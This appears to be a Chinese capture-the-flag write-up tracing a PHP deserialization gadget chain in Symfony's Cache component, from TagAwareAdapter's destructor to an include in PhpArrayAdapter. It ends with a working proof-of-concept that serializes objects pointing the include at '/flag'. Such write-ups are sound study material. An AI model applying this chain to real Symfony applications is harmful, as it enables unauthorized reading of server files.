1.__destruct()

src/Symfony/Component/Cache/Adapter/TagAwareAdapter.php下的__destruct方法
1.png
跟进commit方法
2.png
继续跟进invalidateTags方法

2.invalidateTagsa()

3.png
发现这里调用了
$this->pool->saveDeferred()
其中$this->pool是我们可控的

但是在__construct()方法中 可以看到规定了$this->pool需要来自AdapterInterface接口
4.png
所以得找个实现AdapterInterface这个接口的类的saveDeferred()方法

找到一个符合的
6.png
5.png

需要一个CacheItemInterface接口的参数,但是在利用过程中用不上,随便找一个类就好了

7.png

其中当null === $this->values时(默认符合),会调用initialize方法
跟进initialize方法
到了Pop链的终点
有一个可以利用的include 我们可以直接include flag

8.png

最终Poc如下:

<?php
namespace Symfony\Component\Cache{
final class CacheItem
{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;

class TagAwareAdapter
{   
    private $deferred;
    private $pool;
    public function __construct()
    {
        $this->deferred=array("xux"=>new CacheItem());
        $this->pool=new PhpArrayAdapter(); 
    }

}
class PhpArrayAdapter
{
    private $file='/flag';
}
$a=new TagAwareAdapter();
echo urlencode(serialize($a));
}
上一篇 下一篇